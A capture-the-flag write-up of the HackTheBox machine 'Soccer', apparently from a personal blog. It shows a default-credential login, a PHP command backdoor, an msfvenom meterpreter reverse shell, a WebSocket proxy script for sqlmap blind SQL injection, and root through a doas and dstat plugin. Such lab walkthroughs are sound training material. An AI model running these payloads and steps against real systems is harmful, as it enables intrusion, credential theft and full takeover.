Blog Soccer - HackTheBox
Post
Cancel

Soccer - HackTheBox

This HackTheBox can be found here.

Soccer is included in TJnull’s OSCP, OSEP, and OSWE list.

Recon

Like always, we’ll start with a Nmap scan:

1
sudo nmap -T4 -p- -oN allports -sC -sV 10.10.11.194
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
Nmap scan report for 10.10.11.194
Host is up (0.039s latency).
Not shown: 65532 closed tcp ports (reset)
PORT     STATE SERVICE         VERSION
22/tcp   open  ssh             OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 ad0d84a3fdcc98a478fef94915dae16d (RSA)
|   256 dfd6a39f68269dfc7c6a0c29e961f00c (ECDSA)
|_  256 5797565def793c2fcbdb35fff17c615c (ED25519)
80/tcp   open  http            nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://soccer.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
9091/tcp open  xmltec-xmlmail?
| fingerprint-strings:
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, Help, RPCCheck, SSLSessionReq, drda, informix:
|     HTTP/1.1 400 Bad Request
|     Connection: close
|   GetRequest:
|     HTTP/1.1 404 Not Found
|     Content-Security-Policy: default-src 'none'
|     X-Content-Type-Options: nosniff
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 139
|     Date: Sun, 03 Dec 2023 17:25:26 GMT
|     Connection: close
|     <!DOCTYPE html>
|     <html lang="en">
|     <head>
|     <meta charset="utf-8">
|     <title>Error</title>
|     </head>
|     <body>
|     <pre>Cannot GET /</pre>
|     </body>
|     </html>
|   HTTPOptions, RTSPRequest:
|     HTTP/1.1 404 Not Found
|     Content-Security-Policy: default-src 'none'
|     X-Content-Type-Options: nosniff
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 143
|     Date: Sun, 03 Dec 2023 17:25:26 GMT
|     Connection: close
|     <!DOCTYPE html>
|     <html lang="en">
|     <head>
|     <meta charset="utf-8">
|     <title>Error</title>
|     </head>
|     <body>
|     <pre>Cannot OPTIONS /</pre>
|     </body>
|_    </html>
~~~SNIP~~~


Port 22, 80 and 9091 are open. We see that the server redirected to soccer.htb when Nmap tried to access port 80. Let’s add that to our /etc/hosts:

1
echo '10.10.11.194 soccer.htb' | sudo tee -a /etc/hosts


When we access http://soccer.htb, we see the below app:

Accessing port 80


Accessing http://soccer.htb:9091 tells us that the app cannot GET /:

Accessing port 9091


Initial Foothold

The index page gives us nothing, so let’s use gobuster to see if there is anything else on the application:

1
gobuster dir -u http://soccer.htb -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt

Gobuster Scan


We see a directory named /tiny/. When we access it, we find the Tiny File Manager:

Tiny File Manager


Whenever we are looking at an application, we should always try to grab the version number. The page itself doesn’t list one, but when we look at the HTML, we see it’s v2.4.3:

Version number of Tiny File Manager


Searching for Tiny Manager’s default creds, we find that they are admin:admin@123. These end up working for us:

Default Credentials


So we can login and have the version number. Before looking for exploits, let’s see if we can upload a file to catch a reverse shell. We don’t have write perms within the directory’s root, and also in /tiny, but we can upload to /tiny/upload. Let’s make a basic PHP backdoor to test:

1
echo "<?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; }?>" test.php

Default Credentials


Now browse to http://soccer.htb/tiny/uploads/test.php?cmd=whoami:

php reverse backdoor


We can execute commands, but it seems like our uploaded file is deleted a few minutes after uploading. Let’s try to get a stable meterpreter shell:

1
2
# The PHP payload
msfvenom -p php/meterpreter/reverse_tcp LHOST=tun0 LPORT=4444 -o shelly.php
1
2
3
4
5
6
7
# Starting our listener
msfconsole
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set LHOST tun0
set LPORT 4444
run


After we upload the file, we can trigger it by browsing to http://soccer.htb/tiny/uploads/shelly.php and we catch a shell as www-data:

catching the shell


We see that the user.txt flag is located at /home/player/user.txt, but we can’t read it as www-data. I searched around some more, and found that there is a subdomain named soc-player.soccer.htb when looking at /var/log/nginx/access.log.1:

subdomain


Let’s add that to our /etc/hosts:

1
echo '10.10.11.194 soc-player.soccer.htb' | sudo tee -a /etc/hosts


User Flag

When we access the subdomain, we see a site similar to http://soccer.htb, but now we have login and signup functionality:

subdomain


This subdomain uses the service on port 9091. If we create an account and login, there is a Tickets page that we can access:

subdomain


When searching for tickets, a websocket is used:

websocket


I did some quick tests on the signup and login functionality, but didn’t find anything. I then turned my attention to the ticketing page at http://soc-player.soccer.htb/check. I wanted to check for SQLi, but we first need to set up a proxy server that will forward payloads to a WebSocket connection since Sqlmap doesn’t play nice with websockets. I followed this blogpost.

We can create the server with Python:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
from http.server import SimpleHTTPRequestHandler
from socketserver import TCPServer
from urllib.parse import unquote, urlparse
from websocket import create_connection

ws_server = "ws://soc-player.soccer.htb:9091/"

def send_ws(payload):
    ws = create_connection(ws_server)

    message = unquote(payload).replace('"', '\'')
    data = '{"id":"%s"}' % message

    ws.send(data)
    resp = ws.recv()
    ws.close()

    if resp:
        return resp
    else:
        return ''

def middleware_server(host_port, content_type="text/plain"):

    class CustomHandler(SimpleHTTPRequestHandler):
        def do_GET(self) -> None:
            self.send_response(200)
            try:
                payload = urlparse(self.path).query.split('=',1)[1]
            except IndexError:
                payload = False

            if payload:
                content = send_ws(payload)
            else:
                content = 'No parameters specified!'

            self.send_header("Content-Type", content_type)
            self.end_headers()
            self.wfile.write(content.encode())
            return

    class _TCPServer(TCPServer):
        allow_reuse_address = True

    httpd = _TCPServer(host_port, CustomHandler)
    httpd.serve_forever()

print("[+] Starting Middleware Server")
print("[+] Send payloads in http://localhost:8081/?id=*")

try:
    middleware_server(('0.0.0.0', 8081))
except KeyboardInterrupt:
    pass

We can then start the server through python3 server.py. Now let’s run Sqlmap:

1
sqlmap -u 'http://localhost:8081/?id=1111"


Sqlmap will send payloads to the python server through the id parameter, and the server will send the payloads to the websocket connection. After a few seconds, we find time-based blind SQLi:

SQL injection


Since this a time-based SQLi, we’ll do a targeted approach for information instead of using the --dump-all flag. We see there are five databases:

1
sqlmap -u 'http://localhost:8081/?id=1111' --batch --dbs

Five databases


There is one table in the soccer_db named accounts:

1
sqlmap -u 'http://localhost:8081/?id=1111' --batch -D soccer_db --tables

Five databases


Lets dump the accounts table:

1
sqlmap -u 'http://localhost:8081/?id=1111' --batch -D soccer_db -T accounts --dump

Account dump


We get a single account for an account named player with the password PlayerOftheMatch2022. If you recall from our PHP shell as www-data, there was a user named player. We can check for password reuse by ssh`ing and see that we have access:

Player Access

We can now read user.txt:

Player Access

Privilege Escalation

I brought linpeas over and ran it. The only thing of note was that doas was installed:

Linpeas doas output


Doas allows us to run commands as another user, including root. We first need to find the doas.conf file. It is usually located at /etc/doas.conf, but not on this box. We will search for it and find that it is located at /usr/local/etc/doas.conf:

1
find / -type f -name "doas.conf" 2>/dev/null

doas conf file


As player, we can execute dstat as root. Checking GTFOBins, we see that we can spawn a shell as root:

1
2
3
cd ~
echo 'import os; os.execv("/bin/sh", ["sh"])' >/usr/local/share/dstat/dstat_xxx.py
doas -u root /usr/bin/dstat --xxx


After running the above, we spawn a shell as root and can grab the last flag:

doas conf file

Contents